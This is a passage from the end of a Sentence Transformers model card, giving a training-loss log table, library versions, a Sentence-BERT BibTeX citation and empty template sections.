| - `multi_dataset_batch_sampler`: proportional | |
| </details> | |
| ### Training Logs | |
| | Epoch | Step | Training Loss | Validation Loss | | |
| |:------:|:----:|:-------------:|:---------------:| | |
| | 0.0532 | 100 | 0.0933 | 0.0279 | | |
| | 0.1064 | 200 | 0.0154 | 0.0213 | | |
| | 0.1596 | 300 | 0.0269 | 0.0245 | | |
| | 0.2128 | 400 | 0.0189 | 0.0203 | | |
| | 0.2660 | 500 | 0.0245 | 0.0205 | | |
| | 0.3191 | 600 | 0.006 | 0.0233 | | |
| | 0.3723 | 700 | 0.0192 | 0.0205 | | |
| | 0.4255 | 800 | 0.0198 | 0.0194 | | |
| | 0.4787 | 900 | 0.0252 | 0.0182 | | |
| | 0.5319 | 1000 | 0.0167 | 0.0166 | | |
| | 0.5851 | 1100 | 0.0102 | 0.0185 | | |
| | 0.6383 | 1200 | 0.0175 | 0.0158 | | |
| | 0.6915 | 1300 | 0.0174 | 0.0159 | | |
| | 0.7447 | 1400 | 0.0145 | 0.0148 | | |
| | 0.7979 | 1500 | 0.0104 | 0.0153 | | |
| | 0.8511 | 1600 | 0.0309 | 0.0141 | | |
| | 0.9043 | 1700 | 0.0041 | 0.0152 | | |
| | 0.9574 | 1800 | 0.0129 | 0.0145 | | |
| ### Framework Versions | |
| - Python: 3.11.11 | |
| - Sentence Transformers: 4.1.0 | |
| - Transformers: 4.52.4 | |
| - PyTorch: 2.8.0.dev20250319+cu128 | |
| - Accelerate: 1.7.0 | |
| - Datasets: 3.6.0 | |
| - Tokenizers: 0.21.1 | |
| ## Citation | |
| ### BibTeX | |
| #### Sentence Transformers and SoftmaxLoss | |
| ```bibtex | |
| @inproceedings{reimers-2019-sentence-bert, | |
| title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", | |
| author = "Reimers, Nils and Gurevych, Iryna", | |
| booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", | |
| month = "11", | |
| year = "2019", | |
| publisher = "Association for Computational Linguistics", | |
| url = "https://arxiv.org/abs/1908.10084", | |
| } | |
| ``` | |
| <!-- | |
| ## Glossary | |
| *Clearly define terms in order to be accessible across audiences.* | |
| --> | |
| <!-- | |
| ## Model Card Authors | |
| *Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* | |
| --> | |
| <!-- | |
| ## Model Card Contact | |
| *Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* | |
| --> |